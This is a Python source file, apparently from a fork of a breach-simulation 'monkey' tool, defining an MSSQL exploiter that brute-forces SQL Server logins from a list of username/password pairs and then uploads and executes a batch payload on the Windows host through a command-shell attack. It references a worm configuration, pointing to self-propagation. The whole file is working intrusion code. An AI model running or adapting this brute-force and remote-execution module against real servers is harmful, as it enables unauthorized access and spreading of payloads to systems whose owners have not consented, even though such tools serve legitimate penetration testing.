forked from p15670423/monkey
107 lines
4.2 KiB
Python
107 lines
4.2 KiB
Python
from os import path
|
|
import logging
|
|
import pymssql
|
|
|
|
import mssqlexec_utils
|
|
from exploit import HostExploiter
|
|
|
|
__author__ = 'Maor Rayzin'
|
|
|
|
LOG = logging.getLogger(__name__)
|
|
|
|
|
|
class MSSQLExploiter(HostExploiter):
|
|
|
|
_TARGET_OS_TYPE = ['windows']
|
|
LOGIN_TIMEOUT = 15
|
|
SQL_DEFAULT_TCP_PORT = '1433'
|
|
DEFAULT_PAYLOAD_PATH = path.abspath(r'.\payloads\mssqlexec_payload.bat')
|
|
|
|
def __init__(self, host):
|
|
super(MSSQLExploiter, self).__init__(host)
|
|
self._config = __import__('config').WormConfiguration
|
|
self.attacks_list = [mssqlexec_utils.CmdShellAttack]
|
|
|
|
def exploit_host(self):
|
|
"""
|
|
Main function of the mssql brute force
|
|
Return:
|
|
True or False depends on process success
|
|
"""
|
|
username_passwords_pairs_list = self._config.get_exploit_user_password_pairs()
|
|
if self.brute_force_begin(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, username_passwords_pairs_list,
|
|
self.DEFAULT_PAYLOAD_PATH):
|
|
LOG.debug("Bruteforce was a success on host: {0}".format(self.host.ip_addr))
|
|
return True
|
|
else:
|
|
LOG.error("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
|
|
return False
|
|
|
|
def handle_payload(self, cursor, payload):
|
|
|
|
"""
|
|
Handles the process of payload sending and execution, prepares the attack and details.
|
|
|
|
Args:
|
|
cursor (pymssql.conn.cursor obj): A cursor of a connected pymssql.connect obj to user for commands.
|
|
payload (string): Payload path
|
|
|
|
Return:
|
|
True or False depends on process success
|
|
"""
|
|
|
|
chosen_attack = self.attacks_list[0](payload, cursor)
|
|
|
|
if chosen_attack.send_payload():
|
|
LOG.debug('Payload: {0} has been successfully sent to host'.format(payload))
|
|
if chosen_attack.execute_payload():
|
|
LOG.debug('Payload: {0} has been successfully executed on host'.format(payload))
|
|
return True
|
|
else:
|
|
LOG.error("Payload: {0} couldn't be executed".format(payload))
|
|
else:
|
|
LOG.error("Payload: {0} couldn't be sent to host".format(payload))
|
|
|
|
return False
|
|
|
|
def brute_force_begin(self, host, port, users_passwords_pairs_list, payload):
|
|
"""
|
|
Starts the brute force connection attempts and if needed then init the payload process.
|
|
Main loop starts here.
|
|
|
|
Args:
|
|
host (str): Host ip address
|
|
port (str): Tcp port that the host listens to
|
|
payload (str): Local path to the payload
|
|
users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
|
|
|
|
Return:
|
|
True or False depends if the whole bruteforce and attack process was completed successfully or not
|
|
"""
|
|
# Main loop
|
|
# Iterates on users list
|
|
for user, password in users_passwords_pairs_list:
|
|
try:
|
|
# Core steps
|
|
# Trying to connect
|
|
conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT)
|
|
LOG.info('Successfully connected to host: {0}, '
|
|
'using user: {1}, password: {2}'.format(host, user, password))
|
|
cursor = conn.cursor()
|
|
|
|
# Handles the payload and return True or False
|
|
if self.handle_payload(cursor, payload):
|
|
LOG.debug("Successfully sent and executed payload: {0} on host: {1}".format(payload, host))
|
|
return True
|
|
else:
|
|
LOG.warning("user: {0} and password: {1}, "
|
|
"was able to connect to host: {2} but couldn't handle payload: {3}"
|
|
.format(user, password, host, payload))
|
|
except pymssql.OperationalError:
|
|
# Combo didn't work, hopping to the next one
|
|
pass
|
|
|
|
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
|
|
'aborting brute force'.format(host, port))
|
|
return False
|